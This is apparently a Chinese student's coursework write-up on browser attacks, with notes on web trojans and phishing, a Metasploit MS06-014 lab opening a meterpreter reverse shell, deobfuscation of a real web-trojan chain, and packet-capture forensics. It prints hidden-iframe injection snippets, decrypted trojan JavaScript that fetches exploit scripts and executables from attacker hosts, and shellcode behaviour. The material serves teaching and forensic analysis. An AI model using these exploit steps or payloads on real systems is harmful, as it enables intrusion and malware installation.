20199320 2019-2020-2 《网络攻防实践》第12周作业
20199320 2019-2020-2 《网络攻防实践》第12周作业
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
---|---|
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756 |
我在这个课程的目标是 | 掌握网络攻防知识及操作 |
这个作业在哪个具体方面帮助我实现目标 | 掌握客户端的Web浏览器上存在的安全威胁和攻击技术,包括网页木马、网络钓鱼。 |
一、知识点总结
1.1 现代Web浏览器基本结构与机理
-
现代浏览器的基本结构
如图:
现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,还采用各种扩展机制允许第三方开发一些插件,通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来丰富计算机功能。
1.2 Web浏览的安全问题与威胁
-
Web浏览器软件的安全困境三要素
- 复杂性:现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
- 可扩展性:第三方扩展插件的开发过程更缺乏安全保证;插件一般不具备自动更新的机制。
- 连通性:浏览器始终工作在联网状态,一旦存在安全漏洞,很容易被利用。
-
Web浏览安全威胁位置
Web浏览环境及其安全威胁的层次模型:
1.3 Web浏览器的渗透攻击威胁——网页木马
-
网页木马发展的驱动力——黑客地下经济链
黑客地下经济链结构:
- 病毒编写者:有一定编程能力,能获取漏洞和相应攻击代码,出售自己开发的破解工具或木马程序并获利。
- 黑站长/网络骇客:攻击知名但有漏洞的网站,出售其访问流量。
- “信封”盗窃者:“信封”指盗窃的帐号和密码,“信封”盗窃者只需购买病毒编写者的木马程序和黑站长/网络骇客的访问流量,构建网页木马程序,从而获取“信封”。
- 虚拟资产盗窃者:可以没有任何技术知识,但对地下经济链有深入了解,通过购买“信封”,登录网游或QQ盗取虚拟资产,并贩卖。
- 虚拟资产卖家:购买虚拟资产,向玩家出售从中获利。构成了产业链的流通。
- 玩家:购买虚拟资产打游戏,构成了地下经济链的基础。
-
网页木马存在的技术基础——Web浏览端安全漏洞
- 网页木马所攻击的安全漏洞的存在位置非常多样化,包括Web浏览器自身、浏览器插件、关联某些Web文件的应用程序等。
- 除了微软操作系统平台软件本身的安全漏洞之外,网页木马近年来也在不断地发掘和利用其他流行应用软件中的安全漏洞。
- 一些影响范围广的安全漏洞,如MS06-014, 会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机。
-
网页木马的机理分析
网页木马的定义特性
网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
网页木马的机理
-
网页木马的攻击是被动的(需要诱使用户访问网页木马页面)、多步骤的。
-
网页木马的攻击技术流程如图:
-
网页木马特性
- 多样化的客户端渗透攻击位置和技术类型:为提升渗透攻击成功率(中马率),攻击者会集成多样化的客户端渗透攻击代码。
- 分布式、复杂的微观链接结构:为扩大攻击范围,攻击者会采用多个网页木马宿主站点,引入中间跳转站点提升防御方的分析代价。
- 灵活多变的混淆与对抗分析能力:为躲避反病毒检测,攻击者利用Web客户端脚本语言的灵活机制对网页木马进行混淆处理。
-
-
网页木马的本质核心——浏览器渗透攻击
-
VBScript
编写的MS06-014
网马通过
VBScript
所提供的创建ActiveX
对象、调用ActiveX提供方法随即完成了攻击目的,这也是不安全方法类安全漏洞利用的常见模式。 -
JavaScript
语言实现的ANI光标漏洞网马利用堆内存操纵(
Heapspray
)技术,首先通过构造字符串数组的方式在堆内存空间中“堆砌”出包含大段空字节着陆区(Sledge
,即代码中的spraySlide
字符串)和Shellcode
(即代码中的payloadCode
字符串)的恶意代码指令空间来,然后利用内存安全违规类漏洞将指向“堆砌”堆内存空间的地址装载入EIP指令寄存器中,使得攻击目标软件转而去执行堆中的Shellcode
, ANI 光标漏洞网马中即通过特殊构造的ANI光标图片文件,利用系统在渲染畸形的光标文件时没有正确验证文件头部中所指定的文件大小,从而导致数据缓冲区溢出导致执行“0x04040404"位置的堆内存中恶意指令。
-
-
网页挂马机制
网页挂马含义:为使用户访问网页木马,攻击者将网页木马挂接到有访问流量的网站页面上的过程称为网页挂马。
网页挂马机制策略
-
内嵌HTML标签
在实际中最常用于网页挂马的内嵌标签为iframe,如
<iframe src="URL to Trojan" width="0" height="0" frameborder="0"> </iframe>
-
恶意Script脚本
利用script 脚本标签通过外部引用脚本的方式来包含网页木马,例如,
<script src="URL to Trojan">
.跳转脚本通常使用document.write
动态生成包含网页木马链接的iframe 内嵌标签,或者比较少见的windows.open
函数弹出一个新的HTML窗口链接网页木马进行攻击。 -
内嵌对象链接
利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,如Flash中的
LoadMovie(
)方法等。这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,从而造成这些网站特定页面被挂马的危害后果。 -
ARP欺骗挂马
在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。
-
-
混淆机制
- 为躲避反病毒检测,攻击者利用Web客户端脚本语言的灵活机制对网页木马进行混淆处理。
- 混淆方法
- 将代码重新排版,同时将网页木马中的变量名替换为一组合法的随机字符串, 使其失去自我描述的能力,从而干扰阅读分析。
- 编码混淆。
- 通过加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用
document.write()
或eval()
进行动态输出或执行。 - 利用字符串运算、数学运算或特殊函数混淆代码。
- 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。
- 混淆工具:tools88.com 上包含了Monyer个人js加解密、老外js加解密、代码编码与反编码、MD5加密网页、冰狐浪子脚本工具、JS代码混淆、Unicode 加解密、encode 加解密等数十种网页加密与混淆工具。
- 对抗混淆工具:混淆机制支持辅助分析网页木马攻击的工具软件,如
Freshow
、Malzilla
等。
-
网页木马的检测与分析技术
-
基于特征码匹配的传统检测方法
攻击者利用混淆机制和对抗分析技术躲避反病毒软件的检测,使得特征码匹配这一方法检测率不高。
-
基于统计与机器学习的静态分析方法
该类方法实质上是针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,仍然停留在外在形态层次上,同时随着脚本代码混淆技术在源代码版权保护等正常渠道中的广泛应用,这类未能针对网页木马本质特征的检测方法也将造成大量的误报情况,不适用于实际场景。
-
基于动态行为结果判定的检测分析方法
这种方法利用网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。具有低误报率、抵抗混淆的优势。
-
基于模拟浏览器环境的动态分析检测方法
构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒检测方法对网页木马进行分析和检测。
工具:The Honeynet Project 的PHoneyC、UCSB的JSAND系统及其提供的wepawet在线分析服务,在PHoneyC基础上完成的基于网页动态视图检测方法等。
另外,网页木马通常使用包含Heapspray型Shellcode 的渗透代码,因此通过模拟执行的方法检测网页脚本中的Shellcode也成为一种可行的网页木马检测技术方案,如Egele等人通过对SpiderMonkey引擎进行源码插装进行网页木马Shellcode 探测,笔者也提出了基于脚本Opcode动态插装的Heapspray型网页木马检测方法。
-
-
网页木马防范措施
- 不断更新操作系统;
- 安装并更新反病毒软件;
- 借助工具避免访问可能遭遇挂马的网站;
- 避开网页木马通常攻击的对象,如:安装Mac OS/Linux操作系统,并使用Chrome、 Safari、 Opera等冷门浏览器进行上网。
1.4 网络钓鱼(phishing)
-
网络钓鱼技术概述
攻击者通过发送大量精心设计的、与目标网站相似的钓鱼网站的垃圾邮件,引诱收信人给出个人敏感信息。
-
网络钓鱼攻击的普遍技术流程
- 攻击者扫描网段,寻找存有漏洞的服务器;
- 服务器被攻陷,并被安装一个Rootkit 或口令保护的后门工具;
- 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
- 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
-
网络钓鱼攻击的防范
- 业界通过协作机制和技术手段来遏制网络钓鱼攻击;
- 网民们提高安全警惕,不轻易相信并打开邮件中的链接,利用浏览器的反钓鱼提示,进行金融操作提高安全意识,提升抵抗社会工程学攻击的能力。
二、实践内容和实践过程
2.1 动手实践——Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实
施浏览器攻击的实际过程。
实验环境
- 攻击机:kali(192.168.200.4)使用其中安装的Metasploit渗透攻击框架软件。
- 靶机:Windows 2KS(192.168.200.124)。
实验步骤
-
kali中输入
msfconsole
启动kali
里面的msfconsole
; -
选择渗透攻击模块
-
输入
search ms06-014
查看漏洞ms06-014
的详细信息,如图:
-
输入
use exploit/windows/browser/ie_createobject
选择针对ms06-014漏洞的渗透攻击模块。
-
-
设置攻击服务器地址,执行
set LHOST 192.168.200.4
。 -
设置负载模块
set payload windows/meterpreter/reverse_tcp
。 -
运行
exploit
进行攻击,如图:
可见恶意服务器建立。
-
靶机中访问这个URL,如图:
-
攻击机上看到成功建立了靶机到攻击机的session:
-
执行
sessions -l
查看建立的活跃的session:
-
可见暂时活跃的会话有6-10号,选择6号连接id对应的session ,并且出现一个可交互的shell,执行
ipconfig
查询靶机ip验证是否获取到靶机远程控制权限,如图:
2.2 取证分析实践:剖析一个实际的网页木马攻击场景
任务:根据下面说明逐步分析,得到最终的木马文件内容。
首先你应该访问start.html, 在这个文件中给出了new09.htm 的地址,在进入
new09.htm后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到
http://netsec.ccert.edu.cn/hacking/日录( 或者附带资料中的解压缩数据目录)下去下载对应
的文件(注意:文件名中的英文字母为小写,且没有扩展名), 即为解密出的地址对应的
文件。如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二
进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完
成。请注意:被散列的文件地址应该是标准的URL形式,形如http://.18dd.net/a/b.htm,
否则会导致散列值计算不正确而无法继续。
问题:
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2.网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
3.从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
4.解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下
载了哪些程序?这些程序又是起什么作用的? (请举例分析)
这里使用浏览器打不开,FreShow也出错,只能参考实验指导书的代码来分析。
-
首先访问
http://192.168.68.253/scom/start.html
下的start.html文件,查找new09.htm
,找到两处:urlresult="new09.htm"; <iframe src="new09.htm" width="0" height="0"></iframe>
从这两处可以看出
start.html
文件在引用new09.htm
文件时没有写绝对路径,所以new09.htm
文件与start.html
文件在同一目录下。所以访问http://192.168.68.253/scom/new09.htm
。<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe> <script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
可以看到 new09.htm 文件中,用 iframe 引用了一个
http://aa.18dd.net/aa/kl.htm
文件,又用 javascript 引用了一个http://js.users.51.la/1299644.js
文件。 -
我们对它们分别作32位的 MD5 散列,如下:
MD5(http://aa.18dd.net/aa/kl.htm) = 7f60672dcd6b5e90b6772545ee219bd3 MD5(http://js.users.51.la/1299644.js) = 23180a42a2ff1192150231b44ffdf3d3
下载这两个文件:
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3 http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
-
打开后者,内容如下:
// 本文件内容是流量统计代码,不是木马
这显然不是我们所想要的内容。
-
打开第一个文件,它的内容看起来很复杂,但实际上这是一种被称为
XXTEA+Base64
的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。在文件中找到下面的语句:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
xxtea_decrypt
函数的第二个参数就是密钥。加密者果然老奸巨滑,连密钥也被处理过,不过只是简单地使用了 16 进制加密。转换一下,密钥是“script
”。 -
访问
http://www.cha88.cn/safe/xxtea.php
,在密钥一栏中填入“script
”,在下面大的文本框中粘贴那个文件的全部内容,点“解密”,文本框的内容变为全是十六进制,即加密者又用了另一种加密方法,也就是十六进制加密,对引号内的内容解密,得:function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}
显然,这个文件利用到的应用程序漏洞有
“
Adodb.Stream
”、“MPS.StormPlayer
”、“POWERPLAYER.PowerPlayerCtrl.1
”和“BaiduBar.Tool
”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件,其危害性可见一斑。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。对这四个文件解密:MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4 MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166 MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2 MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
-
1.js
- 加密方式:十六进制加密
- 解密后发现这个文件前面部分下载了一个
http://down.18dd.net/bb/014.exe
的可执行文件,后面部分是对ADODB
漏洞的继续利用。
-
b.js
-
加密方式:packed;
-
解密后发现,有“shellcode”这个“关键字”,很可能就是下载器,那么就要找URL, URL 中必然出现的斜线“/”吧,“/”的十六进制 ASCII 码是
2F
,那么我们就在那段 shellcode 中找“/”,最后得到的解密效果:http://down.18dd.net/bb/bf.exe
又是一个可执行文件。
-
-
pps.js
-
加密方式:八进制加密;
-
解密后同样看到了“shellcode”这个“关键字”,用上述方法找到它对应的可执行文件路径:
http://down.18dd.net/bb/pps.exe
仍旧是一个可执行文件。
-
-
bd.cab
- 解压后得到一个叫
bd.exe
文件。
- 解压后得到一个叫
-
对上述三个exe文件做 Hash 下载。
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979 MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
-
现在我们有了4个 exe 文件,即
014.exe
,bf.exe
,pps.exe
,bd.exe
。更重要的是,我们发现这四个文件在资源管理器中显示出同样的大小。进一步对文件内容进行 MD5 散列计算得出结论,这四个文件内容完全相同!任务量减少到四分之一。
-
使用PEiD查看可执行文件
pps.exe
的加壳情况,发现用 Delphi 写的:
-
用IDA Pro打开这个pps.exe,查看其字符串:
-
首先这个软件会下载一堆木马文件
\*.exe
。
-
这个程序可能在磁盘根目录下生成自动运行的文件
-
"[AutoRun] open=","AutoRun.inf","shell\Auto\command="
-
这个程序要对 IE、注册表、服务和系统文件进行操作
"advapi32.dll", "drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护", "IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll", "SOFTWARE\Borland\Delphi\RTL" , "ChangeServiceConfig2A" , "ChangeServiceConfig2W" , "QueryServiceConfig2A","QueryServiceConfig2W"
-
这个程序有一定的防系统保护软件的能力(证据:
"允许","允许执行"
)。
-
总结一下
-
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
-
2.网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
- 网页加密方法:
www.cha88.cn
- aa/kl.htm (dispatcher页面)
- 十六进制编码
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))
- Base64编码, xxtea加密(密钥:script), UTF16to8编码
- 1.js (MS06-014网马)
- 十六进制编码
- b.js (暴风影音网马)
- 老外写的js加解密工具
- pps.js (PPStream网马)
- 八进制编码
- 网页加密方法:
-
3.从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
“
Adodb.Stream
”、“MPS.StormPlayer
”、“POWERPLAYER.PowerPlayerCtrl.1
”和“BaiduBar.Tool
”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。 -
4.解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下
载了哪些程序?这些程序又是起什么作用的? (请举例分析)4个可执行文件:即
014.exe
,bf.exe
,pps.exe
,bd.exe
。有下载器,下载了
down.18dd.netkl/0-19.exe盗号木马
。
2.3 攻防对抗实践:Web 浏览器渗透攻击攻防对抗
攻击方使用Metasploit构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击
代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
攻击方
根据2.1做过的ms06-014
漏洞再次攻击靶机,在靶机访问metasploit里生成的链接,攻击机即可获取到会话,并且控制靶机。
防守方
-
保存恶意网页,用记事本打开,发现有大量空格的混淆机制如下:
-
去除空格换行后,可看到关键代码如下:
分析:
-
ADODB.Stream
:对应微软数据库访问对象的漏洞,搜索到这正是MS06-014
的漏洞(上一实践也见过)。 -
攻击机加载了
payload
。 -
攻击程序使得靶机执行一个
VGVOdThYJOkCcKIHQJKOjy.exe
,查看正在执行的进程可找到该程序正在执行:
-
2.4 Web浏览器遭遇攻击、取证分析
通过分析给的网络记录文件,回答下列问题:
- 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
- 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
- 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
- 请给出攻击者执行攻击动作的概要描述。
- 攻击者引入了哪些技巧带来了困难。
- 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
- shellcode执行了哪些操作?比较他们之间MD5的差异?
- 在攻击场景中有二进制可执行代码参与吗?目的是什么?
1.列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
chaosreader -r suspicious-time.pcap
打开 suspicious-time.pcap文件,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,而由于其他协议受攻击概率很低,猜测只有HTTP有攻击的嫌疑,并且通过Wireshark,并没有找到对其他协议的攻击行为,而在HTTP报文中看到大量访问.php
文件,于是确定是针对HTTP协议的攻击。
2.列出IP地址、主机名、域名,猜测攻击场景的环境配置。
-
执行如下指令从session中查找相关信息:
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort –u
awk '{print $2}':一行一行的读取指定的文件, 以空格作为分隔符,打印第二个字段;
cut -d ':' -f1`:以“:”分段,取第一段;
sort -u:在输出行中去除重复行;
sed -e 's/Host:\ //g':把每行出现的Host:\字符删除。
执行如图:
分析:
rapidshare.com.eyu32.ru
域名:似乎伪造了一个著名的品牌,可以被攻击者用来窃取用户的凭证。一个本地IP地址正在被分配:192.168.56.50sploitme.com.cn
这个名字真的意味着一些恶意。正在分配一个本地IP地址:192.168.56.52shop.honeynet.sg
看起来像一个购物网站的知名网站服务器。 本地 IP 地址被分配:192.168.56.51。
-
再执行下面指令:
//查看主机名 tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u //查看工作组 tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u //查看MAC地址 tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
因为我安装tshark工具总出错,找到另一种方法,wireshark打开,查看NBNS报文同样可达到相同的效果:
注:网络基本输入/输出系统 (NetBIOS) 名称服务器 (NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。
分析:四个主机的ip和MAC都不同,但主机名和工作组相同,所以他们是安装在虚拟机上的。
3.列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
-
可发现刚才加载出许多html文件。打开
session_0006.part_01.html
发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php
。
-
找
shop.honeynet.sg/catalog/
,对应文件session_0032.part_01.html
。我们发现了 Libemu 和 Phoneyc ,猜测是商业网站。
-
找
sploitme.com.cn
,这个对应文件session_0007.part_02.html
,打开发现网页丢失了。
4.请给出攻击者执行攻击动作的概要描述。
这里有4种情景(4个源IP),现以10.0.2.15
为例进行描述。
-
受害者(10.0.2.15)通过浏览器访问
rapidshare.eyu32.ru/login.php
登录页面; -
login.php 包含的内容来自
sploitme.com.cn/?click=3feb5a6b2f (192.168.56.52)
,所以用户登录时,直接重定向到包含js代码的sploitme.com.cn/fg/show.php?s=3feb5a6b2f
这个恶意页面。
-
而返回给用户的只是一个404错误的页面,致使用户发现不了自己信息的泄漏。
5.攻击者引入了哪些技巧带来了困难。
-
js混淆机制
-
rapidshare.eyu32.ru上的脚本:
http://dean.edwards.name/packer/ + http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html
-
honeynet.sg上的脚本:
http://www.colddata.com/developers/online_tools/obfuscator.shtml#obfuscator_view
-
-
伪造404页面,给分析者带来困难,也使用户不易察觉。
-
触发了漏洞利用后,会转到无害页面,不进行二次攻击。
-
内容用gzip压缩,所以它不会出现在明确的文本,必须采取额外的步骤。
6.攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
-
根据追踪TCP流,发现攻击者目标是Windows的IE浏览器:
-
说实话,这块内容不知道怎么找,下面是答案给出的:
- Mdac : WScript.Shell - MS06-014
- Aolwinamp: IWinAmpActiveX.ConvertFile
- Directshow: msvidctl.dll - MS09-032 - MS09-037
- Snapshot: MSOfficeSnapshotViewer - MS08-04
- Com: 'msdds.dll' COM Object - MS05-052
- Spreadsheet: OWC10.Spreadsheet - MS09-43
7.shellcode执行了哪些操作?比较他们之间MD5的差异?
- Shellcode获取系统临时文件路径,加载urlmon.dll,从URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode之间的唯一区别是对load.php脚本的请求中的
e
变量,该变量指定发送恶意软件可执行文件。 - shellcode可以在tcp流中看到,但是不知道怎么提取出来,所以下面的MD5也没有进行测试。
8.在攻击场景中有二进制可执行代码参与吗?目的是什么?
- 有。攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件就是load.php发送的Win32可执行文件,它通过Internet Explorer加载www.honeynet.org。
三、学习中遇到问题与解决
-
问题1:win2ks靶机打开浏览器总是显示没有网络,要查看,必须脱机工作,关闭后输入恶意服务器URL什么都出不来。
解决方法:刚开始做实践以为需要靶机联网,设成了桥接模式,改为仅主机模式重启即可。
-
问题2:不知如何打开远程控制命令的shell。
解决方法:metasploit攻击成功建立了session,则通过
session -i [id]
可打开id对应的session。注意:若建立了多个session,这里使用sessions
代替session
。 -
问题3:怎么能知道shellcode做了哪些操作?
解决方法:不断追踪TCP流,从中猜测行为。
-
问题4:最后一个分析中如何确定攻击者关于操作系统的攻击目标?
解决方法:追踪TCP流看到包含Windows和IE信息,猜测这就是攻击的操作系统目标。
四、实践总结
本次实践包括一个对Web浏览器的渗透攻击和两项关于网马攻击的分析,总体来说比较难,不仅涉及到之前很多知识,而且用到很多没用过的工具,总之还得自己多多储备知识。